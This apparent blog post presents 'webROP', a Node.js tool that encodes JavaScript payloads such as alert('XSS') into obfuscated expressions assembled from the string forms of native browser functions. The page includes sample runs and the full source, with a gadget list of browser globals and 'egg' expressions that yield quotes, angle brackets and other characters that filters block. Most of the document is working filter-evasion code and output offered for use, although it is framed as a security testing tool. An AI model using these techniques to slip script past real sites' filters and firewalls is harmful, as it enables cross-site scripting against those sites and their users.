/webROP

Created Sun, 19 Feb 2023 18:34:51 +0100
1638 Words

webROP

webROP is testing the security of input validation filters and web application firewalls.

It is using so called webROP gadgets which are reusable elements supplied by the default browser configuration.

It can generate payloads like this one:

webROP[katharsis] $ ./webrop -vp 'alert("XSS")'
webROP v0.8 [832 gadgets available]

"a" => (Ink+[])[19]
"l" => (File+[])[11]
"e" => (Ink+[])[23]
"r" => (Attr+[])[12]
"t" => (Ink+[])[4]
"(" => (Ink+[])[12]
""" => (decodeURIComponent((encodeURIComponent(2e24)+[])[2]+22)[0])
"X" => (CSSSkewX+[])[16]
"S" => (Set+[])[9]
"S" => (Set+[])[9]
""" => (decodeURIComponent((encodeURIComponent(2e24)+[])[2]+22)[0])
")" => (Ink+[])[13]

// alert("XSS") - 255 bytes
(Ink+[])[19]+(File+[])[11]+(Ink+[])[23]+(Attr+[])[12]+(Ink+[])[4]+(Ink+[])[12]+(decodeURIComponent((encodeURIComponent(2e24)+[])[2]+22)[0])+(CSSSkewX+[])[16]+(Set+[])[9]+(Set+[])[9]+(decodeURIComponent((encodeURIComponent(2e24)+[])[2]+22)[0])+(Ink+[])[13]

It will focus on the most performant combinations and allow an infite range of characters by using webROP eggs. When no eggs are available, it will use the wildcard eggs to construct a String.fromCharCode() object as fallback:

webROP[katharsis] $ ./webrop -vp "_{~}"
webROP v0.8 [832 gadgets available]

"S" => (Set+[])[9]
"t" => (Map+[])[4]
"r" => (blur+[])[12]
"i" => (Map+[])[5]
"n" => (Map+[])[2]
"g" => (Range+[])[12]
"." => (1/2+[])[1]
"f" => (Map+[])[0]
"r" => (blur+[])[12]
"o" => (Map+[])[6]
"m" => (Image+[])[10]
"C" => (Cache+[])[9]
"h" => (Cache+[])[12]
"a" => (Map+[])[10]
"r" => (blur+[])[12]
"C" => (Cache+[])[9]
"o" => (Map+[])[6]
"d" => (Map+[])[27]
"e" => (Map+[])[23]
"(" => (Map+[])[12]
"," => (Array(2)+[])
"," => (Array(2)+[])
"," => (Array(2)+[])
")" => (Map+[])[13]

// _{~} - 339 bytes
(Set+[])[9]+(Map+[])[4]+(blur+[])[12]+(Map+[])[5]+(Map+[])[2]+(Range+[])[12]+(1/2+[])[1]+(Map+[])[0]+(blur+[])[12]+(Map+[])[6]+(Image+[])[10]+(Cache+[])[9]+(Cache+[])[12]+(Map+[])[10]+(blur+[])[12]+(Cache+[])[9]+(Map+[])[6]+(Map+[])[27]+(Map+[])[23]+(Map+[])[12]+9+5+(Array(2)+[])+1+2+3+(Array(2)+[])+1+2+6+(Array(2)+[])+1+2+5+(Map+[])[13]
// webROP
// Web application testing and filtering bypass tool
// © Jean Pereira <counterswarm.de>

const version = 0.8
const readme = `webROP v${version}
Usage: webrop [options]

Required parameters:

  -p [payload]     Input payload

Optional parameters:

  -h               Show help
  -v               Verbose mode
  -e               Encode payload
  -f [filename]    Write output to file
  -r               Randomize payload
  -c               Capitalize payload
`

const fs = require('fs')
const arg = require('arg')

let args

try {
  args = arg({
    '--help': Boolean,
    '-h': '--help',
    '--random': Boolean,
    '-r': '--random',
    '--verbose': Boolean,
    '-v': '--verbose',
    '--capitalize': Boolean,
    '-c': '--capitalize',
    '--encode': Boolean,
    '-e': '--encode',
    '--payload': String,
    '-p': '--payload',
    '--file': String,
    '-f': '--file'
  })
} catch(e){
  displayHelp()
}

const required = ['--payload']

checkRequiredArgs(args, required)

let ropEggs = [
  {list: "(decodeURIComponent((encodeURIComponent(2e24)+[])[2]+60)[0])",      source: "`"},
  {list: "(decodeURIComponent((encodeURIComponent(2e24)+[])[2]+27)[0])",      source: "'"},
  {list: "(decodeURIComponent((encodeURIComponent(2e24)+[])[2]+22)[0])",      source: "\""},
  {list: "(atob(0xB9386F)+[])[5]",                                            source: ";"},
  {list: "(atob(0xA93445)+[])[2]",                                            source: "<"},
  {list: "(atob(0x2005DD)+[])[2]",                                            source: "|"},
  {list: "(atob(0xB5849A)+[])[1]",                                            source: "_"},
  {list: "(new CSSKeywordValue(1)+[])[0]",                                    source: "\\"},
  {list: "(new CSSMathNegate(1)+[])[5]",                                      source: "-"},
  {list: "(Array(2)+[])",                                                     source: ","},
  {list: "(1/2+[])[1]",                                                       source: "."},
  {list: "(4e38+[])[2]",                                                      source: "+"},
  {list: "(btoa(1)+[])[2]",                                                   source: "="},
  {list: "(unescape(escape(Map)[8]+22))",                                     source: "%"},
  {list: "(new RegExp+[])[0]",                                                source: "/"},
  {list: "(new RegExp+[])[2]",                                                source: "?"},
  {list: "(new RegExp+[])[3]",                                                source: ":"}
]

if(a('capitalize')) {
  ropEggs = [
    {list: "(Array(2)+[])",  source: ","},
    {list: "(1/2+[])[1]",    source: "."},
  ]
}

function a(name) {
  return args[`--${name}`]
}

function displayHelp() {
  console.log(readme)
  process.exit(1)
}

if(a('help')) {
  displayHelp()
}

function checkRequiredArgs(args, requiredArgs) {
  required.forEach(arg => {
    if (!args[arg]) {
      displayHelp()
    }
  })
}

function uniqueChars(arr) {
  let uniqueChars = new Set()

  for (let i = 0; i < arr.length; i++) {
    for (let j = 0; j < arr[i].length; j++) {
      uniqueChars.add(arr[i][j])
    }
  }

  return JSON.stringify(Array.from(uniqueChars).sort())
}

function charCodeConverter(str) {
  let result

  if (typeof str === 'string') {
    result = str.split('').map(char => char.charCodeAt(0)).join(',')
  } else if (typeof str === 'number') {
    result = String.fromCharCode(str)
  } else {
    result = false
  }

  return result
}

function compareStringToCharArray(str, charArray) {
  for (let i = 0; i < str.length; i++) {
    if (!charArray.includes(str[i])) {
      return false
    }
  }
  return true
}

function getUpperCaseItems(arr) {
  return arr.filter(item => {
    return item[0] >= 'A' && item[0] <= 'Z'
  })
}

function findGadgets(originalString, substrings) {
  let result = []
  let originalStringCopy = originalString
  for (let i = 0; i < originalString.length; i++) {
    for (let j = 0; j < substrings.length; j++) {
      if (substrings[j].indexOf(originalString[i]) !== -1) {
        let character = originalString[i]
        let position = originalStringCopy.indexOf(character)
        originalStringCopy = originalStringCopy.replace(character, '')
        result.push({
          arrIndex: j,
          substrIndex: substrings[j].indexOf(character),
          character: character,
          position: position
        })
        break
      }
    }
  }
  if (originalStringCopy.length === 0) {
    return result
  } else {
    console.log(`\nNo gadgets found, try different payload`)
    process.exit(1)
  }
}

function shuffle(arr) {
  var j, x, i
  for (i = arr.length - 1; i > 0; i--) {
    j = Math.floor(Math.random() * (i + 1))
    x = arr[i]
    arr[i] = arr[j]
    arr[j] = x
  }
  return arr
}

var gadgetList = [
  'AbortController',
  'AbortSignal',
  'AbsoluteOrientationSensor',
  'AbstractRange',
  'Accelerometer',
  'addEventListener',
  'AggregateError',
  'alert',
  'AnalyserNode',
  'Animation',
  'AnimationEffect',
  'AnimationEvent',
  'AnimationPlaybackEvent',
  'AnimationTimeline',
  'Array',
  'ArrayBuffer',
  'atob',
  'Attr',
  'Audio',
  'AudioBuffer',
  'AudioBufferSourceNode',
  'AudioContext',
  'AudioData',
  'AudioDecoder',
  'AudioDestinationNode',
  'AudioEncoder',
  'AudioListener',
  'AudioNode',
  'AudioParam',
  'AudioParamMap',
  'AudioProcessingEvent',
  'AudioScheduledSourceNode',
  'AudioWorklet',
  'AudioWorkletNode',
  'AuthenticatorAssertionResponse',
  'AuthenticatorAttestationResponse',
  'AuthenticatorResponse',
  'BackgroundFetchManager',
  'BackgroundFetchRecord',
  'BackgroundFetchRegistration',
  'BarcodeDetector',
  'BarProp',
  'BaseAudioContext',
  'BatteryManager',
  'BeforeInstallPromptEvent',
  'BeforeUnloadEvent',
  'BigInt',
  'BigInt64Array',
  'BigUint64Array',
  'BiquadFilterNode',
  'Blob',
  'BlobEvent',
  'Bluetooth',
  'BluetoothCharacteristicProperties',
  'BluetoothDevice',
  'BluetoothRemoteGATTCharacteristic',
  'BluetoothRemoteGATTDescriptor',
  'BluetoothRemoteGATTServer',
  'BluetoothRemoteGATTService',
  'BluetoothUUID',
  'blur',
  'Boolean',
  'BroadcastChannel',
  'BrowserCaptureMediaStreamTrack',
  'btoa',
  'ByteLengthQueuingStrategy',
  'Cache',
  'CacheStorage',
  'cancelAnimationFrame',
  'cancelIdleCallback',
  'CanvasCaptureMediaStreamTrack',
  'CanvasFilter',
  'CanvasGradient',
  'CanvasPattern',
  'CanvasRenderingContext2D',
  'CaptureController',
  'captureEvents',
  'CDATASection',
  'ChannelMergerNode',
  'ChannelSplitterNode',
  'CharacterData',
  'clearInterval',
  'clearTimeout',
  'Clipboard',
  'ClipboardEvent',
  'ClipboardItem',
  'close',
  'CloseEvent',
  'Comment',
  'CompositionEvent',
  'CompressionStream',
  'confirm',
  'ConstantSourceNode',
  'ContentVisibilityAutoStateChangeEvent',
  'ConvolverNode',
  'CookieChangeEvent',
  'CookieStore',
  'CookieStoreManager',
  'CountQueuingStrategy',
  'createImageBitmap',
  'Credential',
  'CredentialsContainer',
  'CropTarget',
  'Crypto',
  'CryptoKey',
  'CSSAnimation',
  'CSSConditionRule',
  'CSSContainerRule',
  'CSSCounterStyleRule',
  'CSSFontFaceRule',
  'CSSFontPaletteValuesRule',
  'CSSGroupingRule',
  'CSSImageValue',
  'CSSImportRule',
  'CSSKeyframeRule',
  'CSSKeyframesRule',
  'CSSKeywordValue',
  'CSSLayerBlockRule',
  'CSSLayerStatementRule',
  'CSSMathClamp',
  'CSSMathInvert',
  'CSSMathMax',
  'CSSMathMin',
  'CSSMathNegate',
  'CSSMathProduct',
  'CSSMathSum',
  'CSSMathValue',
  'CSSMatrixComponent',
  'CSSMediaRule',
  'CSSNamespaceRule',
  'CSSNumericArray',
  'CSSNumericValue',
  'CSSPageRule',
  'CSSPerspective',
  'CSSPositionValue',
  'CSSPropertyRule',
  'CSSRotate',
  'CSSRule',
  'CSSRuleList',
  'CSSScale',
  'CSSSkew',
  'CSSSkewX',
  'CSSSkewY',
  'CSSStyleDeclaration',
  'CSSStyleRule',
  'CSSStyleSheet',
  'CSSStyleValue',
  'CSSSupportsRule',
  'CSSTransformComponent',
  'CSSTransformValue',
  'CSSTransition',
  'CSSTranslate',
  'CSSUnitValue',
  'CSSUnparsedValue',
  'CSSVariableReferenceValue',
  'CustomElementRegistry',
  'CustomEvent',
  'CustomStateSet',
  'DataTransfer',
  'DataTransferItem',
  'DataTransferItemList',
  'DataView',
  'Date',
  'decodeURI',
  'decodeURIComponent',
  'DecompressionStream',
  'DelayNode',
  'DelegatedInkTrailPresenter',
  'DeviceMotionEvent',
  'DeviceMotionEventAcceleration',
  'DeviceMotionEventRotationRate',
  'DeviceOrientationEvent',
  'dispatchEvent',
  'Document',
  'DocumentFragment',
  'DocumentTimeline',
  'DocumentType',
  'DOMError',
  'DOMException',
  'DOMImplementation',
  'DOMMatrix',
  'DOMMatrixReadOnly',
  'DOMParser',
  'DOMPoint',
  'DOMPointReadOnly',
  'DOMQuad',
  'DOMRect',
  'DOMRectList',
  'DOMRectReadOnly',
  'DOMStringList',
  'DOMStringMap',
  'DOMTokenList',
  'DragEvent',
  'DynamicsCompressorNode',
  'Element',
  'ElementInternals',
  'EncodedAudioChunk',
  'EncodedVideoChunk',
  'encodeURI',
  'encodeURIComponent',
  'Error',
  'ErrorEvent',
  'escape',
  'eval',
  'EvalError',
  'Event',
  'EventCounts',
  'EventSource',
  'EventTarget',
  'External',
  'EyeDropper',
  'FeaturePolicy',
  'FederatedCredential',
  'fetch',
  'File',
  'FileList',
  'FileReader',
  'FileSystemDirectoryHandle',
  'FileSystemFileHandle',
  'FileSystemHandle',
  'FileSystemWritableFileStream',
  'FinalizationRegistry',
  'find',
  'Float32Array',
  'Float64Array',
  'focus',
  'FocusEvent',
  'FontData',
  'FontFace',
  'FontFaceSetLoadEvent',
  'FormData',
  'FormDataEvent',
  'FragmentDirective',
  'Function',
  'GainNode',
  'Gamepad',
  'GamepadButton',
  'GamepadEvent',
  'GamepadHapticActuator',
  'Geolocation',
  'GeolocationCoordinates',
  'GeolocationPosition',
  'GeolocationPositionError',
  'getComputedStyle',
  'getScreenDetails',
  'getSelection',
  'GravitySensor',
  'Gyroscope',
  'HashChangeEvent',
  'Headers',
  'HID',
  'HIDConnectionEvent',
  'HIDDevice',
  'HIDInputReportEvent',
  'Highlight',
  'HighlightRegistry',
  'History',
  'HTMLAllCollection',
  'HTMLAnchorElement',
  'HTMLAreaElement',
  'HTMLAudioElement',
  'HTMLBaseElement',
  'HTMLBodyElement',
  'HTMLBRElement',
  'HTMLButtonElement',
  'HTMLCanvasElement',
  'HTMLCollection',
  'HTMLDataElement',
  'HTMLDataListElement',
  'HTMLDetailsElement',
  'HTMLDialogElement',
  'HTMLDirectoryElement',
  'HTMLDivElement',
  'HTMLDListElement',
  'HTMLDocument',
  'HTMLElement',
  'HTMLEmbedElement',
  'HTMLFieldSetElement',
  'HTMLFontElement',
  'HTMLFormControlsCollection',
  'HTMLFormElement',
  'HTMLFrameElement',
  'HTMLFrameSetElement',
  'HTMLHeadElement',
  'HTMLHeadingElement',
  'HTMLHRElement',
  'HTMLHtmlElement',
  'HTMLIFrameElement',
  'HTMLImageElement',
  'HTMLInputElement',
  'HTMLLabelElement',
  'HTMLLegendElement',
  'HTMLLIElement',
  'HTMLLinkElement',
  'HTMLMapElement',
  'HTMLMarqueeElement',
  'HTMLMediaElement',
  'HTMLMenuElement',
  'HTMLMetaElement',
  'HTMLMeterElement',
  'HTMLModElement',
  'HTMLObjectElement',
  'HTMLOListElement',
  'HTMLOptGroupElement',
  'HTMLOptionElement',
  'HTMLOptionsCollection',
  'HTMLOutputElement',
  'HTMLParagraphElement',
  'HTMLParamElement',
  'HTMLPictureElement',
  'HTMLPreElement',
  'HTMLProgressElement',
  'HTMLQuoteElement',
  'HTMLScriptElement',
  'HTMLSelectElement',
  'HTMLSlotElement',
  'HTMLSourceElement',
  'HTMLSpanElement',
  'HTMLStyleElement',
  'HTMLTableCaptionElement',
  'HTMLTableCellElement',
  'HTMLTableColElement',
  'HTMLTableElement',
  'HTMLTableRowElement',
  'HTMLTableSectionElement',
  'HTMLTemplateElement',
  'HTMLTextAreaElement',
  'HTMLTimeElement',
  'HTMLTitleElement',
  'HTMLTrackElement',
  'HTMLUListElement',
  'HTMLUnknownElement',
  'HTMLVideoElement',
  'IDBCursor',
  'IDBCursorWithValue',
  'IDBDatabase',
  'IDBFactory',
  'IDBIndex',
  'IDBKeyRange',
  'IDBObjectStore',
  'IDBOpenDBRequest',
  'IDBRequest',
  'IDBTransaction',
  'IDBVersionChangeEvent',
  'IdentityCredential',
  'IdleDeadline',
  'IdleDetector',
  'IIRFilterNode',
  'Image',
  'ImageBitmap',
  'ImageBitmapRenderingContext',
  'ImageCapture',
  'ImageData',
  'ImageDecoder',
  'ImageTrack',
  'ImageTrackList',
  'Ink',
  'InputDeviceCapabilities',
  'InputDeviceInfo',
  'InputEvent',
  'Int16Array',
  'Int32Array',
  'Int8Array',
  'IntersectionObserver',
  'IntersectionObserverEntry',
  'isFinite',
  'isNaN',
  'Keyboard',
  'KeyboardEvent',
  'KeyboardLayoutMap',
  'KeyframeEffect',
  'LargestContentfulPaint',
  'LaunchParams',
  'LaunchQueue',
  'LayoutShift',
  'LayoutShiftAttribution',
  'LinearAccelerationSensor',
  'Location',
  'Lock',
  'LockManager',
  'Map',
  'matchMedia',
  'MathMLElement',
  'MediaCapabilities',
  'MediaDeviceInfo',
  'MediaDevices',
  'MediaElementAudioSourceNode',
  'MediaEncryptedEvent',
  'MediaError',
  'MediaKeyMessageEvent',
  'MediaKeys',
  'MediaKeySession',
  'MediaKeyStatusMap',
  'MediaKeySystemAccess',
  'MediaList',
  'MediaMetadata',
  'MediaQueryList',
  'MediaQueryListEvent',
  'MediaRecorder',
  'MediaSession',
  'MediaSource',
  'MediaSourceHandle',
  'MediaStream',
  'MediaStreamAudioDestinationNode',
  'MediaStreamAudioSourceNode',
  'MediaStreamEvent',
  'MediaStreamTrack',
  'MediaStreamTrackEvent',
  'MediaStreamTrackGenerator',
  'MediaStreamTrackProcessor',
  'MessageChannel',
  'MessageEvent',
  'MessagePort',
  'MIDIAccess',
  'MIDIConnectionEvent',
  'MIDIInput',
  'MIDIInputMap',
  'MIDIMessageEvent',
  'MIDIOutput',
  'MIDIOutputMap',
  'MIDIPort',
  'MimeType',
  'MimeTypeArray',
  'MouseEvent',
  'moveBy',
  'moveTo',
  'MutationEvent',
  'MutationObserver',
  'MutationRecord',
  'NamedNodeMap',
  'NavigateEvent',
  'Navigation',
  'NavigationCurrentEntryChangeEvent',
  'NavigationDestination',
  'NavigationHistoryEntry',
  'NavigationPreloadManager',
  'NavigationTransition',
  'Navigator',
  'NavigatorManagedData',
  'NavigatorUAData',
  'NetworkInformation',
  'Node',
  'NodeFilter',
  'NodeIterator',
  'NodeList',
  'Notification',
  'Number',
  'Object',
  'OfflineAudioCompletionEvent',
  'OfflineAudioContext',
  'OffscreenCanvas',
  'OffscreenCanvasRenderingContext2D',
  'open',
  'openDatabase',
  'Option',
  'OrientationSensor',
  'OscillatorNode',
  'OTPCredential',
  'OverconstrainedError',
  'PageTransitionEvent',
  'PannerNode',
  'parseFloat',
  'parseInt',
  'PasswordCredential',
  'Path2D',
  'PaymentAddress',
  'PaymentInstruments',
  'PaymentManager',
  'PaymentMethodChangeEvent',
  'PaymentRequest',
  'PaymentRequestUpdateEvent',
  'PaymentResponse',
  'Performance',
  'PerformanceElementTiming',
  'PerformanceEntry',
  'PerformanceEventTiming',
  'PerformanceLongTaskTiming',
  'PerformanceMark',
  'PerformanceMeasure',
  'PerformanceNavigation',
  'PerformanceNavigationTiming',
  'PerformanceObserver',
  'PerformanceObserverEntryList',
  'PerformancePaintTiming',
  'PerformanceResourceTiming',
  'PerformanceServerTiming',
  'PerformanceTiming',
  'PeriodicSyncManager',
  'PeriodicWave',
  'Permissions',
  'PermissionStatus',
  'PictureInPictureEvent',
  'PictureInPictureWindow',
  'Plugin',
  'PluginArray',
  'PointerEvent',
  'PopStateEvent',
  'postMessage',
  'Presentation',
  'PresentationAvailability',
  'PresentationConnection',
  'PresentationConnectionAvailableEvent',
  'PresentationConnectionCloseEvent',
  'PresentationConnectionList',
  'PresentationReceiver',
  'PresentationRequest',
  'print',
  'ProcessingInstruction',
  'Profiler',
  'ProgressEvent',
  'Promise',
  'PromiseRejectionEvent',
  'prompt',
  'Proxy',
  'PublicKeyCredential',
  'PushManager',
  'PushSubscription',
  'PushSubscriptionOptions',
  'queryLocalFonts',
  'queueMicrotask',
  'RadioNodeList',
  'Range',
  'RangeError',
  'ReadableByteStreamController',
  'ReadableStream',
  'ReadableStreamBYOBReader',
  'ReadableStreamBYOBRequest',
  'ReadableStreamDefaultController',
  'ReadableStreamDefaultReader',
  'ReferenceError',
  'RegExp',
  'RelativeOrientationSensor',
  'releaseEvents',
  'RemotePlayback',
  'removeEventListener',
  'reportError',
  'ReportingObserver',
  'Request',
  'requestAnimationFrame',
  'requestIdleCallback',
  'resizeBy',
  'ResizeObserver',
  'ResizeObserverEntry',
  'ResizeObserverSize',
  'resizeTo',
  'Response',
  'RTCCertificate',
  'RTCDataChannel',
  'RTCDataChannelEvent',
  'RTCDtlsTransport',
  'RTCDTMFSender',
  'RTCDTMFToneChangeEvent',
  'RTCEncodedAudioFrame',
  'RTCEncodedVideoFrame',
  'RTCError',
  'RTCErrorEvent',
  'RTCIceCandidate',
  'RTCIceTransport',
  'RTCPeerConnection',
  'RTCPeerConnectionIceErrorEvent',
  'RTCPeerConnectionIceEvent',
  'RTCRtpReceiver',
  'RTCRtpSender',
  'RTCRtpTransceiver',
  'RTCSctpTransport',
  'RTCSessionDescription',
  'RTCStatsReport',
  'RTCTrackEvent',
  'Sanitizer',
  'Scheduler',
  'Scheduling',
  'Screen',
  'ScreenDetailed',
  'ScreenDetails',
  'ScreenOrientation',
  'ScriptProcessorNode',
  'scroll',
  'scrollBy',
  'scrollTo',
  'SecurityPolicyViolationEvent',
  'Selection',
  'Sensor',
  'SensorErrorEvent',
  'Serial',
  'SerialPort',
  'ServiceWorker',
  'ServiceWorkerContainer',
  'ServiceWorkerRegistration',
  'Set',
  'setInterval',
  'setTimeout',
  'ShadowRoot',
  'SharedWorker',
  'showDirectoryPicker',
  'showOpenFilePicker',
  'showSaveFilePicker',
  'SourceBuffer',
  'SourceBufferList',
  'SpeechSynthesisErrorEvent',
  'SpeechSynthesisEvent',
  'SpeechSynthesisUtterance',
  'StaticRange',
  'StereoPannerNode',
  'stop',
  'Storage',
  'StorageEvent',
  'StorageManager',
  'String',
  'structuredClone',
  'StylePropertyMap',
  'StylePropertyMapReadOnly',
  'StyleSheet',
  'StyleSheetList',
  'SubmitEvent',
  'SubtleCrypto',
  'SVGAElement',
  'SVGAngle',
  'SVGAnimatedAngle',
  'SVGAnimatedBoolean',
  'SVGAnimatedEnumeration',
  'SVGAnimatedInteger',
  'SVGAnimatedLength',
  'SVGAnimatedLengthList',
  'SVGAnimatedNumber',
  'SVGAnimatedNumberList',
  'SVGAnimatedPreserveAspectRatio',
  'SVGAnimatedRect',
  'SVGAnimatedString',
  'SVGAnimatedTransformList',
  'SVGAnimateElement',
  'SVGAnimateMotionElement',
  'SVGAnimateTransformElement',
  'SVGAnimationElement',
  'SVGCircleElement',
  'SVGClipPathElement',
  'SVGComponentTransferFunctionElement',
  'SVGDefsElement',
  'SVGDescElement',
  'SVGElement',
  'SVGEllipseElement',
  'SVGFEBlendElement',
  'SVGFEColorMatrixElement',
  'SVGFEComponentTransferElement',
  'SVGFECompositeElement',
  'SVGFEConvolveMatrixElement',
  'SVGFEDiffuseLightingElement',
  'SVGFEDisplacementMapElement',
  'SVGFEDistantLightElement',
  'SVGFEDropShadowElement',
  'SVGFEFloodElement',
  'SVGFEFuncAElement',
  'SVGFEFuncBElement',
  'SVGFEFuncGElement',
  'SVGFEFuncRElement',
  'SVGFEGaussianBlurElement',
  'SVGFEImageElement',
  'SVGFEMergeElement',
  'SVGFEMergeNodeElement',
  'SVGFEMorphologyElement',
  'SVGFEOffsetElement',
  'SVGFEPointLightElement',
  'SVGFESpecularLightingElement',
  'SVGFESpotLightElement',
  'SVGFETileElement',
  'SVGFETurbulenceElement',
  'SVGFilterElement',
  'SVGForeignObjectElement',
  'SVGGElement',
  'SVGGeometryElement',
  'SVGGradientElement',
  'SVGGraphicsElement',
  'SVGImageElement',
  'SVGLength',
  'SVGLengthList',
  'SVGLinearGradientElement',
  'SVGLineElement',
  'SVGMarkerElement',
  'SVGMaskElement',
  'SVGMatrix',
  'SVGMetadataElement',
  'SVGMPathElement',
  'SVGNumber',
  'SVGNumberList',
  'SVGPathElement',
  'SVGPatternElement',
  'SVGPoint',
  'SVGPointList',
  'SVGPolygonElement',
  'SVGPolylineElement',
  'SVGPreserveAspectRatio',
  'SVGRadialGradientElement',
  'SVGRect',
  'SVGRectElement',
  'SVGScriptElement',
  'SVGSetElement',
  'SVGStopElement',
  'SVGStringList',
  'SVGStyleElement',
  'SVGSVGElement',
  'SVGSwitchElement',
  'SVGSymbolElement',
  'SVGTextContentElement',
  'SVGTextElement',
  'SVGTextPathElement',
  'SVGTextPositioningElement',
  'SVGTitleElement',
  'SVGTransform',
  'SVGTransformList',
  'SVGTSpanElement',
  'SVGUnitTypes',
  'SVGUseElement',
  'SVGViewElement',
  'Symbol',
  'SyncManager',
  'SyntaxError',
  'TaskAttributionTiming',
  'TaskController',
  'TaskPriorityChangeEvent',
  'TaskSignal',
  'Text',
  'TextDecoder',
  'TextDecoderStream',
  'TextEncoder',
  'TextEncoderStream',
  'TextEvent',
  'TextMetrics',
  'TextTrack',
  'TextTrackCue',
  'TextTrackCueList',
  'TextTrackList',
  'TimeRanges',
  'Touch',
  'TouchEvent',
  'TouchList',
  'TrackEvent',
  'TransformStream',
  'TransformStreamDefaultController',
  'TransitionEvent',
  'TreeWalker',
  'TrustedHTML',
  'TrustedScript',
  'TrustedScriptURL',
  'TrustedTypePolicy',
  'TrustedTypePolicyFactory',
  'TypeError',
  'UIEvent',
  'Uint16Array',
  'Uint32Array',
  'Uint8Array',
  'Uint8ClampedArray',
  'unescape',
  'URIError',
  'URL',
  'URLPattern',
  'URLSearchParams',
  'USB',
  'USBAlternateInterface',
  'USBConfiguration',
  'USBConnectionEvent',
  'USBDevice',
  'USBEndpoint',
  'USBInterface',
  'USBInTransferResult',
  'USBIsochronousInTransferPacket',
  'USBIsochronousInTransferResult',
  'USBIsochronousOutTransferPacket',
  'USBIsochronousOutTransferResult',
  'USBOutTransferResult',
  'UserActivation',
  'ValidityState',
  'VideoColorSpace',
  'VideoDecoder',
  'VideoEncoder',
  'VideoFrame',
  'VideoPlaybackQuality',
  'VirtualKeyboard',
  'VirtualKeyboardGeometryChangeEvent',
  'VisualViewport',
  'VTTCue',
  'WakeLock',
  'WakeLockSentinel',
  'WaveShaperNode',
  'WeakMap',
  'WeakRef',
  'WeakSet',
  'WebGL2RenderingContext',
  'WebGLActiveInfo',
  'WebGLBuffer',
  'WebGLContextEvent',
  'WebGLFramebuffer',
  'WebGLProgram',
  'WebGLQuery',
  'WebGLRenderbuffer',
  'WebGLRenderingContext',
  'WebGLSampler',
  'WebGLShader',
  'WebGLShaderPrecisionFormat',
  'WebGLSync',
  'WebGLTexture',
  'WebGLTransformFeedback',
  'WebGLUniformLocation',
  'WebGLVertexArrayObject',
  'webkitCancelAnimationFrame',
  'DOMMatrix',
  'MediaStream'
]

gadgetList = shuffle(gadgetList)

if(a('capitalize')) {
  gadgetList = getUpperCaseItems(gadgetList)
}

if(!a('random')) {
  gadgetList = gadgetList.sort(function(a, b) {
    return a.length - b.length
  })
}

let gadgetSource = gadgetList.map(x => `function ${x}() { [native code] }`)

for (const {list, source} of ropEggs) {
  gadgetList.push(list)
  gadgetSource.push(source)
}

for (var i = 0; i <= 9; i++) {
  gadgetList.push(i.toString())
  gadgetSource.push(i.toString())
}

console.log(`webROP v${version} [${gadgetList.length} gadgets available]`)

let uniqueCharacters = uniqueChars(gadgetSource)

let inputPayload = ''
let originalPayload = ''

inputPayload = a('payload')
originalPayload = a('payload')

if(!compareStringToCharArray(inputPayload, uniqueCharacters)) {
  inputPayload = `String.fromCharCode(${charCodeConverter(inputPayload)})`
}

var gadgetData = findGadgets(inputPayload, gadgetSource)

if(a('verbose')) { console.log('') }

var gadgetPayload = gadgetData.map(function(gadget) {
  if(gadget.character.match(/^(\d+)$/)) {
    return gadget.character
  }
  else if(gadgetList[gadget.arrIndex].match(/^\(/)) {
    if(a('verbose')) { console.log(`"${gadget.character}" => ${gadgetList[gadget.arrIndex]}`) }
    return gadgetList[gadget.arrIndex]
  }
  else {
    if(a('verbose')) { console.log(`"${gadget.character}" => (${gadgetList[gadget.arrIndex]}+[])[${gadget.substrIndex}]`) }
    return `(${gadgetList[gadget.arrIndex]}+[])[${gadget.substrIndex}]`
  }
}).join('+')

console.log(`\n// ${originalPayload} - ${gadgetPayload.length} bytes`)

if(a('encode')) {
  gadgetPayload = encodeURI(gadgetPayload).replace(/\+/g, '%2B')
}
if(a('file')) {
  fs.writeFileSync(a('file'), gadgetPayload)
}

console.log(gadgetPayload)